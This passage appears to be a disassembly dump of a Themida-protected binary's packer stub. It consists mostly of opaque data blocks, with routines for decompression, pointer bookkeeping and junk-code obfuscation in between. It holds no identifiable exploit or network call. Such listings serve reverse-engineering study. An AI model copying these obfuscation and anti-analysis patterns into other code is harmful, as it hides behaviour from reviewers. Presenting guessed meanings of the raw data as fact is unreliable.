dd 4B07E40Bh, 11E9h, 0CE67A400h, 0E7BA6760h, 821D5FA5h
dd 89967BEBh, 146C0CDh, 0E41CD59Dh, 68E0F07h, 31000000h
dd 0E40D898Dh, 0FDB0B07h, 0FFFF1885h, 0E800FFFh, 60000000h
dd 159D8Bh, 870F07E4h, 0
dd 11E9CF61h, 72000000h, 4FAD12EAh, 0EDD77C8Bh, 0DA3D931Ah
dd 4D1D4049h, 8E9h, 959BE500h, 8B892C74h, 29000066h, 0E420C995h
dd 0FC000007h, 66600000h, 22BAC781h, 8D0F6061h, 3, 66D0BF0Fh
dd 0A0E5DF81h, 0F9000061h, 3BDC858Dh, 12E907E4h, 91000000h
dd 878261E5h, 0D88300h, 6C81D8EAh, 73FFA96Ch, 81BD8987h
dd 8907E400h, 0E41E3985h, 6E907h, 9CF70000h, 0CB4BE497h
dd 4061858Dh, 89FC07E4h, 0E423AD85h, 14EB07h, 3 dup(0)
dd 0E4000000h, 8D000000h, 0E443C885h, 0AD858907h, 8307E418h
dd 0E44300BDh, 840F0007h, 12Bh, 2C2D85C6h, 0E85607E4h
dd 4, 0D41F6D39h, 24448B50h, 89008B04h, 58042444h, 19DB5FFh
dd 858D07E4h, 7E43BDCh, 8589D0FFh, 7E442F4h, 2C2D85C6h
dd 0E85607E4h, 4, 9CA8B852h, 24448B50h, 89008B04h, 58042444h
dd 19DB5FFh, 858D07E4h, 7E43BDCh, 8589D0FFh, 7E442F8h
dd 7C68046Ah, 8170F240h, 507C2434h, 858B70F2h, 7E44304h
dd 1F405h, 2E0C100h, 6A905090h, 0F895FF00h, 8907E442h
dd 0E442FC85h, 0B8D88B07h, 0FFFFFFFFh, 18AD95FFh, 0C38B07E4h
dd 18AD95FFh, 84E907E4h
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_586853: ; DATA XREF: Themida_:00583D38o
cmp dword ptr [ebp+7E44300h], 0
jnz loc_586861
retn
; ---------------------------------------------------------------------------
loc_586861: ; CODE XREF: Themida_:0058685Aj
push edi
mov edi, [ebp+7E442FCh]
stosd
add dword ptr [ebp+7E442FCh], 4
pop edi
retn
; ---------------------------------------------------------------------------
cmp dword ptr [ebp+7E44300h], 0
jnz loc_586880
retn
; ---------------------------------------------------------------------------
loc_586880: ; CODE XREF: Themida_:00586879j
pusha
sub dword ptr [ebp+7E442FCh], 4
loc_586888: ; CODE XREF: Themida_:loc_5868D2j
mov ebx, [ebp+7E442FCh]
cmp dword ptr [ebx-4], 0FFFFFFFFh
jnz loc_5868B5
push 11A3F31h
xor dword ptr [esp], 11ABF31h
push 0
push dword ptr [ebx]
call dword ptr [ebp+7E442F4h]
popa
retn
; ---------------------------------------------------------------------------
jmp loc_5868D2
; ---------------------------------------------------------------------------
loc_5868B5: ; CODE XREF: Themida_:00586892j
push 494F9D4h
xor dword ptr [esp], 49479D4h
push 0
push dword ptr [ebx]
call dword ptr [ebp+7E442F4h]
sub dword ptr [ebp+7E442FCh], 4
loc_5868D2: ; CODE XREF: Themida_:005868B0j
jmp loc_586888
; ---------------------------------------------------------------------------
dec eax
jmp loc_586A8A
; ---------------------------------------------------------------------------
pusha
mov esi, [esp+24h]
mov edi, [esp+28h]
cld
mov dl, 80h
loc_5868E9: ; CODE XREF: Themida_:loc_586901j
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_5868F4: ; CODE XREF: Themida_:0058697Fj
; Themida_:005869E7j ...
add dl, dl
jnz loc_586901
mov dl, [esi]
inc esi
adc dl, dl
loc_586901: ; CODE XREF: Themida_:005868F6j
jnb loc_5868E9
add dl, dl
jnz loc_586914
mov dl, [esi]
inc esi
adc dl, dl
loc_586914: ; CODE XREF: Themida_:00586909j
jnb loc_586984
xor eax, eax
add dl, dl
jnz loc_586929
mov dl, [esi]
inc esi
adc dl, dl
loc_586929: ; CODE XREF: Themida_:0058691Ej
jnb loc_586A59
add dl, dl
jnz loc_58693C
mov dl, [esi]
inc esi
adc dl, dl
loc_58693C: ; CODE XREF: Themida_:00586931j
adc eax, eax
add dl, dl
jnz loc_58694B
mov dl, [esi]
inc esi
adc dl, dl
loc_58694B: ; CODE XREF: Themida_:00586940j
adc eax, eax
add dl, dl
jnz loc_58695A
mov dl, [esi]
inc esi
adc dl, dl
loc_58695A: ; CODE XREF: Themida_:0058694Fj
adc eax, eax
add dl, dl
jnz loc_586969
mov dl, [esi]
inc esi
adc dl, dl
loc_586969: ; CODE XREF: Themida_:0058695Ej
adc eax, eax
jz loc_586977
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_586977: ; CODE XREF: Themida_:0058696Bj
mov [edi], al
inc edi
mov ebx, 2
jmp loc_5868F4
; ---------------------------------------------------------------------------
loc_586984: ; CODE XREF: Themida_:loc_586914j
mov eax, 1
loc_586989: ; CODE XREF: Themida_:loc_5869A5j
add dl, dl
jnz loc_586996
mov dl, [esi]
inc esi
adc dl, dl
loc_586996: ; CODE XREF: Themida_:0058698Bj
adc eax, eax
add dl, dl
jnz loc_5869A5
mov dl, [esi]
inc esi
adc dl, dl
loc_5869A5: ; CODE XREF: Themida_:0058699Aj
jb loc_586989
sub eax, ebx
mov ebx, 1
jnz loc_5869EC
mov ecx, 1
loc_5869BD: ; CODE XREF: Themida_:loc_5869D9j
add dl, dl
jnz loc_5869CA
mov dl, [esi]
inc esi
adc dl, dl
loc_5869CA: ; CODE XREF: Themida_:005869BFj
adc ecx, ecx
add dl, dl
jnz loc_5869D9
mov dl, [esi]
inc esi
adc dl, dl
loc_5869D9: ; CODE XREF: Themida_:005869CEj
jb loc_5869BD
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_5868F4
; ---------------------------------------------------------------------------
loc_5869EC: ; CODE XREF: Themida_:005869B2j
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_5869FA: ; CODE XREF: Themida_:loc_586A16j
add dl, dl
jnz loc_586A07
mov dl, [esi]
inc esi
adc dl, dl
loc_586A07: ; CODE XREF: Themida_:005869FCj
adc ecx, ecx
add dl, dl
jnz loc_586A16
mov dl, [esi]
inc esi
adc dl, dl
loc_586A16: ; CODE XREF: Themida_:00586A0Bj
jb loc_5869FA
cmp eax, 7D00h
jnb loc_586A49
cmp eax, 500h
jb loc_586A40
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_5868F4
; ---------------------------------------------------------------------------
loc_586A40: ; CODE XREF: Themida_:00586A2Cj
cmp eax, 7Fh
ja loc_586A4C
loc_586A49: ; CODE XREF: Themida_:00586A21j
add ecx, 2
loc_586A4C: ; CODE XREF: Themida_:00586A43j
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_5868F4
; ---------------------------------------------------------------------------
loc_586A59: ; CODE XREF: Themida_:loc_586929j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz loc_586A7E
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_5868F4
; ---------------------------------------------------------------------------
loc_586A7E: ; CODE XREF: Themida_:00586A61j
sub edi, [esp+28h]
mov [esp+1Ch], edi
popa
retn 8
; ---------------------------------------------------------------------------
loc_586A8A: ; CODE XREF: Themida_:005868D8j
mov edx, 929h
jmp loc_587467
; ---------------------------------------------------------------------------
dd 0C26CD903h, 0ADE14B36h, 5C8B9782h, 971CBED6h, 0B5D308B9h
dd 0F874504Dh, 7A314728h, 9AFEC71h, 0CF6CFF5Eh, 0A5ED093Dh
dd 0FD98090h, 0D21BACC7h, 0D6BC43B6h, 0EC7E5A3Dh, 283D4635h
dd 0FADEC71h, 0CF6CFC51h, 0B8F20927h, 11D99F8Ah, 0C500B2DBh
dd 0B5D74DA2h, 0E8691609h, 7A705735h, 0FB8A270h, 0D66CEA45h
dd 0B8F34621h, 0D79F84h, 63h dup(0)
dd 0CB6CD903h, 0BEFD473Ch, 0CD9808Ah, 0C508B0CCh, 0B39600BAh
dd 0EF3B450Ch, 287F4623h, 0EB4ED62h, 0D33EB854h, 0A4FD473Dh
dd 1290D282h, 0C200A69Eh, 0A2C54DA9h, 0E07E421Eh, 581C2968h
dd 13A0E768h, 0D36CB455h, 0ABFB453Dh, 890D281h, 0D81DB99Eh
dd 0BEDB4DB6h, 0F4695900h, 6C7F4266h, 13A4F024h, 0D23EF944h
dd 0BFFB5073h, 0E89D297h, 0D61DB8D1h, 43B6h, 48h dup(0)
dd 0C56CD903h, 0A1F74821h, 0FDE8080h, 0D800AB9Eh, 0BADE4DB7h
dd 0E879161Eh, 6E314D23h, 4AFF76Bh, 0C839EA10h, 0ADFA403Dh
dd 5C979BC5h, 0C51AB0C7h, 0A8CF1EFBh, 0A3765319h, 64412E4Ch
dd 5B2E361h, 0C839B81Ch, 0AEF5463Fh, 5C8D9BC5h, 0DA00ADD8h
dd 0B6D300FBh, 0AD624402h, 28754D27h, 14B2E776h, 8638EA51h
dd 0B8E1462Ah, 138B82C5h, 0DA0EADD9h, 0F5h, 61h dup(0)
dd 0CA25DE03h, 0A5F70936h, 0C8C8097h, 960BBACAh, 0B3E24DF5h
dd 0FD3B4504h, 7A764C34h, 8E1EF65h, 0C46CEB51h, 0EAFA4C36h
dd 15979388h, 0D603AACEh, 0FBD208AFh, 0AD7F580Ch, 6A68422Bh
dd 9CC8861h, 863FBF44h, 0AFF2473Ah, 189C8686h, 9716BD9Eh
dd 0B2E04DBAh, 0AD68431Fh, 6B315129h, 0BA2E376h, 8662FC55h
dd 0B9FD4107h, 109094C5h, 0D818FFDBh, 0FBC24AB5h, 0E669591Ah
dd 717F4266h, 5B3ED69h, 1Eh, 0E0h dup(0)
aWlnumdllsprot db 'WLNumDLLsProt',0
a0 db '0',0
dd 8 dup(0)
dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_587467: ; CODE XREF: Themida_:00586A8Fj
jmp loc_589FA0
; ---------------------------------------------------------------------------
sub edx, 659F12B1h
cld
or [ebp+7E42B61h], edx
mov eax, eax
mov ebx, [ebp+7E40B1Dh]
cmp dword ptr [ebp+7E413F1h], 0
jnz short loc_587493
cmp dword ptr [ebp+7E40935h], 0
jz short loc_5874A6
loc_587493: ; CODE XREF: Themida_:00587488j
push eax
push ebx
mov eax, eax
mov eax, 1
lea ebx, [ebp+7E6E892h]
call ebx ; _iob
pop ebx
pop eax
loc_5874A6: ; CODE XREF: Themida_:00587491j
cmp dword ptr [ebp+7E40935h], 0
jz short loc_5874C0
push eax
push ebx
mov eax, 1
lea ebx, [ebp+7E6E743h]
call ebx ; _iob
pop ebx
pop eax
loc_5874C0: ; CODE XREF: Themida_:005874ADj
and ebx, [ebp+7E42039h]
add [ebp+7E42629h], edi
mov eax, eax
push 0
push esi
call sub_5874D9
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5874D9 proc near ; CODE XREF: Themida_:005874D1p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_5874D9 endp
; ---------------------------------------------------------------------------
xor byte ptr [edx], 0CFh
adc al, 0F0h
xchg eax, ebp
sti
fisub word ptr [esi-7Fh]
retn
; ---------------------------------------------------------------------------
dd 0BD838363h, 7E40ECDh, 0FA840F00h, 66000000h, 0BD83DA8Bh
dd 7E41CDDh, 0EA840F00h, 66000000h, 0EEAED381h, 95852960h
dd 8B07E41Fh, 0E41CDD85h, 0E805F507h, 89000003h, 0E40D9995h
dd 66609007h, 61CD37BAh, 0BE950h, 0EBA80000h, 0E72B1B69h
dd 53BCFF0Ch, 958B9046h, 7E41625h, 4FC3858Dh, 0F48A07E4h
dd 575390F5h, 5A5AFE8Ah, 90FA8A50h, 198C0Fh, 14E90000h
dd 0FD000000h, 0F7543B39h, 83A079E9h, 0B5D14238h, 9C65F51Fh
dd 8B33D67Dh, 0A1858DD1h, 0BB07E44Fh, 1056CC38h, 10E990h
dd 31A10000h, 34B337D4h, 868B697Bh, 18D86B27h, 0B750E8F5h
dd 0BA669089h, 95FF395Dh, 7E42169h, 0C483D78Bh, 4195290Ch
dd 8D07E418h, 0E44FA185h, 459D8B07h, 5007E40Fh, 800F5250h
dd 6, 880Fh, 310F0000h, 585ADF8Bh, 6A240489h, 68E0F02h
dd 89000000h, 0E41FED8Dh, 1495FF07h, 0FC006AEDh, 0FB75761h
dd 0D485C75Bh, 107E44Fh, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0E5CBC353h
dd 3B0884C3h, 8A0F7F35h, 2, 830F66B7h, 6, 2ED9958Bh, 579607E4h
dd 0AE960h, 5EA40000h, 578C159Ah, 0DB13866Fh, 8B505A61h
dd 6A96D3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 0B62B3CC3h, 16A50C35h, 12E9h, 0A56F8C00h
dd 0FEA14E57h, 4C68524Fh, 4E647691h, 3134150h, 0E4275595h
dd 85B58907h, 0F07E44Fh, 58Eh, 0E9A5BA00h, 0BD8349AAh
dd 7E42015h, 68850F01h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 77D4C355h
dd 1881958Bh, 0BA6607E4h, 0F8838761h, 38850F05h, 8B000000h
dd 0B8D1h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 79C1B7C3h, 0F4DA1608h, 89D590CAh
dd 0E426899Dh, 9D850907h, 8307E42Fh, 0E40AC5BDh, 840F0007h
dd 94h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h
dd 23C35747h, 6A608D83h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 9E50C351h, 4CBF60h
dd 0BD892CBDh, 7E405D5h, 0C595FF61h, 6A07E40Ah, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 60AEC350h, 1EB4007h, 12E86173h, 9D000000h, 0B39B1B39h
dd 27962158h, 0CBEFBBBBh, 0DEF0F7C5h, 67C3805Ch, 952B615Bh
dd 7E41AADh, 6B9BD83h, 0F0007E4h, 3784h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 0F5872D2Ch, 8B529ADDh, 0B8D0h, 9E90000h, 0A8000000h
dd 0E5617ED9h, 4462B871h, 8B62B260h, 0E41EB585h, 83FD8A07h
dd 0CA8102C0h, 2DC1918h, 4F7D8589h, 6A07E4h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 160424h, 50400000h, 0CE3528C3h
dd 188D0Fh, 0CE80000h, 6000000h, 0FF808A05h, 44681A80h
dd 89B38904h, 0E42C0D9Dh, 0C65A07h, 0DE8FFh, 314C0000h
dd 77A46C99h, 0B9460AE8h, 0E9D5C0AFh, 0Eh, 0AC3E32A9h
dd 0A425CCEAh, 82F747CEh, 0C65A1A4Dh, 0E42C2D85h, 958B5307h
dd 7E40DDDh, 1A121768h, 0A8E0FD2h, 60000000h, 820Fh, 61600000h
dd 24048161h, 2A9736C1h, 13959D89h, 0B5FF07E4h, 7E42141h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 90C35747h
dd 0DCB81E6h, 8D72E13Eh, 0E7B0A785h, 88F0F07h, 0F000000h
dd 280h, 0FF616000h, 52006AD0h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1404h, 0C3524200h, 0E9D98B6Fh, 8, 2EC002BEh
dd 6329EBE8h, 0E418589h, 0BA6607E4h, 0BD83F55Dh, 7E40B11h
dd 0F7850F01h, 0B7000000h, 9D8B61A6h, 7E42541h, 2DCD8501h
dd 85C607E4h, 7E42C2Dh, 65953345h, 8907E41Ch, 0E422359Dh
dd 4E807h, 38C20000h, 13E8DA60h, 0EE000000h, 0C96407B4h
dd 1D8B3E4Bh, 0D460E516h, 0B782B194h, 0BB664D6Eh, 505A1AF4h
dd 5820Fh, 8ABA0000h, 8B2F6218h, 50042444h, 2EBB6652h
dd 66310FA2h, 5A20CCBAh, 60008B58h, 28F0Fh, 61600000h
dd 0D774FBB9h, 44896155h, 1CBB0424h, 5802C27Eh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0B5C35040h, 8BB30F6Dh
dd 41B5FFD7h, 8B07E421h, 0E4229595h, 0A7858D07h, 6A07E7B0h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h
dd 47000000h, 6014C357h, 0AAC98166h, 0B1B589E9h, 6107E413h
dd 0D0FF41B3h, 6A33D780h, 119D3100h, 0F07E40Ah, 0D0FFD0BFh
dd 2CC3EB81h, 0BD832EE8h, 7E403C9h, 0E7850F01h, 66000000h
dd 0E940DA81h, 1EB5858Bh, 10E907E4h, 51000000h, 9035E212h
dd 23591956h, 2F1BEDDEh, 0E8280E65h, 8, 481247h, 0B0D9C2FAh
dd 251958Bh, 0E95A07E4h, 90h, 1CF59D8Bh, 505007E4h, 97BA6652h
dd 8B310FFDh, 89585ADAh, 6A2404h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1C0424h, 56460000h, 86D175C3h, 3D4CB49Dh
dd 0DA81C76Dh, 25DF612Bh, 0EFAFBB66h, 6A146Ah, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 942C31C3h, 570B97A9h, 0F620BE4h, 481h, 40BA6600h, 4195FF5Ah
dd 107E40Eh, 0E40B8995h, 8B0F5807h, 6, 20218D31h, 0F1B307E4h
dd 0F003880h, 0FFFF6D85h, 8D8D89FFh, 0C607E40Eh, 0BD890100h
dd 7E40FA1h, 35819D8Bh, 0E96107E4h, 12h, 0AA62018h, 2D08B6D4h
dd 6F18324Bh, 83306511h, 0BD837008h, 7E40069h, 37840F00h
dd 0E9000000h, 0Dh, 0AD82975Ah, 53A3867Fh, 4CEA2C7Fh, 8C0F1Bh
dd 6A000000h, 319531FFh, 0FF07E426h, 0E40E4195h, 48D0F07h
dd 52000000h, 0E95A6160h, 0FFFFFFE3h, 85C7DF8Bh, 7E40069h
dd 1, 0AEE28166h, 898589BAh, 8B07E44Fh, 665390D6h, 505BD68Bh
dd 2DBA5250h, 0F1715EBh, 2EBA6631h, 90585A34h, 10E85751h
dd 78000000h, 4D4D8775h, 7F6C7A8Bh, 59B350Fh, 5BB004CDh
dd 66605A5Ah, 890283BEh, 0E4258D85h, 8B606107h, 0E4090595h
dd 7E907h, 773B0000h, 9BD8B4C9h, 6A056A5Eh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 1E1C352h
dd 958B5289h, 7E40A8Dh, 0A1858D5Bh, 8B07E44Fh, 0E401C195h
dd 85958B07h, 5007E414h, 89D98B66h, 8D892404h, 7E40701h
dd 4F91858Dh, 870F07E4h, 6, 6819D8Bh, 509007E4h, 13E8h
dd 80489200h, 65C51CDh, 0C127CC0Ch, 33B55D49h, 55846EFCh
dd 5B5B6160h, 10E850h, 0C5F40000h, 8C77B1Ah, 97F48D04h
dd 0D02C8DACh, 0BA57782Eh, 51E124D0h, 6A905A5Ah, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 0C396C356h, 13AD95FFh, 6A07E4h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 190424h, 50400000h, 5E7ACDC3h, 8B3D9990h
dd 0E4272D95h, 0C08D8D07h, 8907E47Ah, 0E41E99B5h, 74C00B07h
dd 0A1858D11h, 5007E44Fh, 8589D1FFh, 7E44FBFh, 85C70AEBh
dd 7E44FBFh, 0FFFFFFFFh, 6850Fh, 0B5290000h, 7E42E05h
dd 0E98D0961h, 0C607E431h, 0E42C2D85h, 8D294D07h, 7E41BADh
dd 35BBC068h, 81DE8B27h, 0BAE82404h, 9D8B7CFFh, 7E40B1Dh
dd 0E432BB66h, 1D89B5FFh, 810F07E4h, 1, 0A7858DF5h, 5607E7B0h
dd 12C18589h, 8B5A07E4h, 0BAD0FFDFh, 46AE3D13h, 21618589h
dd 950B07E4h, 7E421DDh, 2C2D85C6h, 6A4507E4h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
dd 23CCC355h, 9D950B23h, 6807E41Bh, 0CC444797h, 5890Fh
dd 0C4BA0000h, 814B1C26h, 2EFE2434h, 0EA814236h, 60AA13CBh
dd 2141B5FFh, 958907E4h, 7E42451h, 0B0A7858Dh, 0BB6607E7h
dd 0D0FF8321h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 35C35141h, 63540764h, 958BF9C0h, 7E40595h, 8589F78Ah
dd 7E41665h, 25F38166h, 6AD28BFFh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 14042444h, 40000000h, 8B34C350h
dd 0E40E3D9Dh, 0D98C6607h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 17h, 0A3C35040h, 0E8AE7EFCh, 0Fh, 0FE6426C0h
dd 0B217D114h, 0D092D63Ah, 0F0A0A54h, 68Fh, 0DDB52900h
dd 5B07E42Bh, 0F04C1F6h, 25484h, 85316000h, 7E40065h, 0A44DCB81h
dd 0E9611881h, 12Ch, 38A0Fh, 8B660000h, 39B58BD9h, 6A07E42Dh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 1346C352h, 662B0B9Bh, 81ABC381h, 5840Fh
dd 81660000h, 81B7D5DAh, 1180C6h, 0E9535000h, 5, 412A9947h
dd 0E95A5AA5h, 7, 92B60ECBh, 83FC63F0h, 0E4038DBDh, 850F0007h
dd 0Eh, 0E9DBE280h, 9Ch, 15AD9D8Bh, 3E8307E4h, 8D840F00h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 0D2F1C350h, 0DFB34198h, 55006A60h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 0AEBA66A0h, 0BB146AE2h, 4A1528DAh, 0E4195FFh, 896007E4h
dd 0E4218D8Dh, 61BD8B07h, 6107E41Dh, 259FBB66h, 56006A61h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 95CCBAAAh, 0D919D8Bh, 6BE907E4h, 0FCFFFFFFh, 106C7h
dd 850F0000h, 0Eh, 5D958B60h, 0F07E416h, 8Bh, 0DC8A6100h
dd 4F89BD83h, 0F0507E4h, 10885h, 699D8B00h, 8B07E414h
dd 0E41665B5h, 50006A07h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 0E6104E24h, 7D9D2BC1h
dd 0F07E423h, 64B9D2B7h, 8B000000h, 0E42BE59Dh, 0E83E8007h
dd 49840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 9523C3C3h, 7E426B9h, 2DE9DE8Bh
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 0D937C352h, 8019D413h, 0FC2057Eh
dd 6084h, 0DEB70F00h, 5890F46h, 0BA000000h, 427D6C58h
dd 8E850F49h, 6AFFFFFFh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 4B6EC350h, 0BF0F6E85h
dd 8B6651D2h, 0EE85BD3h, 0AD000000h, 0C4E6894h, 99F4FF14h
dd 795056C9h, 1870F29h, 0FC000000h, 0FE95Ah, 0B70F0000h
dd 71B589DEh, 8907E435h, 0E414E9BDh, 9D035807h, 7E41519h
dd 0DB5BD83h, 0F0007E4h, 9684h, 8800F00h, 56000000h, 209D9589h
dd 605A07E4h, 89B6CE80h, 0E405258Dh, 2D85C607h, 5407E42Ch
dd 6860Fh, 0F2810000h, 4AD0EC3Fh, 0E429A768h, 4359BB81h
dd 48109FAh, 6A954D24h, 8D8D897Dh, 0FF07E421h, 0E42141B5h
dd 6D858907h, 8D07E422h, 0E7B0A785h, 7D9D0307h, 0FF07E420h
dd 0D19529D0h, 6A07E404h, 12E900h, 9F8C0000h, 937E7B53h
dd 412C6C41h, 6491CA57h, 0AE2369A3h, 0DB5B5FFh, 0BD8907E4h
dd 7E42F7Dh, 9501D0FFh, 7E413B1h, 2DBD0961h, 0C707E416h
dd 0E4061185h, 107h, 3D958900h, 0F07E431h, 0F60D2B7h, 0E068D0BFh
dd 669F646Ah, 817CF2BAh, 95A02404h, 0B70F609Bh, 0E9FF6AD7h
dd 7, 3107F7B2h, 0FF355042h, 0E4160195h, 53006A07h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 2961CFD9h, 0E40F7595h, 0BB665007h, 4897E54h, 1D958B24h
dd 8B07E40Ah, 0E415A985h, 6DBB6607h, 0FC00BB1h, 3B84h
dd 8E900h, 0C5590000h, 39FD1F6Dh, 95FF543Bh, 7E40049h
dd 35958B60h, 0E807E42Bh, 14h, 1B18CE6Fh, 0E42156A8h, 3C1C6F2Dh
dd 0E9C702EFh, 0A9010129h, 2918589h, 615A07E4h, 141185C7h
dd 107E4h, 0BE80000h, 0FE000000h, 283E9696h, 28D71151h
dd 8C0FD8A0h, 2, 835ADE8Bh, 0E43231BDh, 840F0007h, 1Ah
dd 3890Fh, 0BF0F0000h, 0F19D23DBh, 0FF07E417h, 0E40B1995h
dd 0E2816607h, 0BD83B69Eh, 7E419B9h, 0F840F00h, 0BA000000h
dd 739D36F6h, 0D6195FFh, 0BA6607E4h, 0BD830909h, 7E42519h
dd 42840F00h, 0F000000h, 0BD83DABFh, 7E43345h, 32850F00h
dd 66000000h, 0FFD583BAh, 0E4224995h, 51006A07h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 5BC25CEDh, 339884D3h, 0DF80B4D1h, 0A9BD8316h, 7E407h
dd 40840Fh, 0FD8A0000h, 14798581h, 400307E4h, 0DF800000h
dd 0ED8581B5h, 307E40Eh, 6A000040h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 34C9C353h
dd 31513109h, 0E40AF9B5h, 310F5B07h, 2A69952Bh, 8D8D07E4h
dd 7E45E49h, 0C8C0Fh, 860F0000h, 6, 850Fh, 1890000h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2AC35242h, 0ED694517h
dd 89D2B02Ch, 0E42BD9BDh, 57C23307h, 5ADA8B66h, 66044189h
dd 0A7E9D381h, 6A310Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 8E948C3h, 0DB000000h, 0A39D2FE3h
dd 8DB45870h, 0E45E568Dh, 0B99D8907h, 8907E403h, 0C2816601h
dd 0BB665266h, 0C2333E7Ah, 44189F9h, 14F3CA81h, 0BD832562h
dd 7E421CDh, 1B840F00h, 0FF000000h, 0E4180195h, 0AE907h
dd 2E8E0000h, 8D28BA4Eh, 4AD57650h, 0D7D8509h, 0BD8307E4h
dd 7E41DF1h, 77850F01h, 9000000h, 0E41C4D85h, 6CE907h
dd 8BF90000h, 0E45F6AB5h, 6C707h, 8B000000h, 0E45DA8B5h
dd 6C707h, 0CF000000h, 6ADABF0Fh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 1357C357h
dd 1F7E4FDAh, 7D9D31C4h, 0E807E401h, 5, 27915FC9h, 10E8CCh
dd 0EFE40000h, 1C609D1Ah, 0F0B87F7Fh, 15DF0FC9h, 0C28117BFh
dd 7B660292h, 0BD835B5Bh, 7E41411h, 9D840F00h, 6A000001h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 7698C357h, 17D5958Bh, 4EB207E4h, 1C81BD83h
dd 0F0107E4h, 15885h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 950B0339h, 7E4356Dh, 8D8BB1B7h
dd 7E44F7Dh, 6870Fh, 9D310000h, 7E419C5h, 6A0001C6h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 9351C350h, 65B58922h, 6007E403h, 6E8h, 665D0000h
dd 8BB96606h, 0E40A299Dh, 8B665B07h, 0A2C68D1h, 52506815h
dd 0D287E3BAh, 66310F01h, 5A4505BAh, 24348158h, 68150AACh
dd 6ADABF0Fh, 0E1B529FFh, 0FF07E429h, 0E4160195h, 34E2BA07h
dd 95316A8Bh, 7E40229h, 50006A61h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1904h, 0C3504000h, 92A377C5h, 958BCDFBh
dd 7E40749h, 6850Fh, 85310000h, 7E41C7Dh, 300595FFh, 6A07E4h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 398CF7C3h, 7E30CA14h, 8166607Ah, 895529D3h, 0E400F985h
dd 0F2816107h, 527B5D38h, 4F7D8D8Bh, 6A07E4h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0A0AE7BC3h
dd 78F6BFAEh, 6810FD6h, 8B000000h, 0E423759Dh, 8101FE07h
dd 2FEB56F2h, 0C9BD8313h, 107E419h, 6850Fh, 9D2B0000h
dd 7E420F5h, 27B6C08Bh, 13F1BD83h, 750007E4h, 35BD8309h
dd 7E409h, 53501A74h, 858BC08Bh, 7E41479h, 14798589h, 9D8D07E4h
dd 7E6E9F0h, 585BD3FFh, 935BD83h, 740007E4h, 8B535018h
dd 0E4147985h, 79858907h, 8D07E414h, 0E6E6DF9Dh, 5BD3FF07h
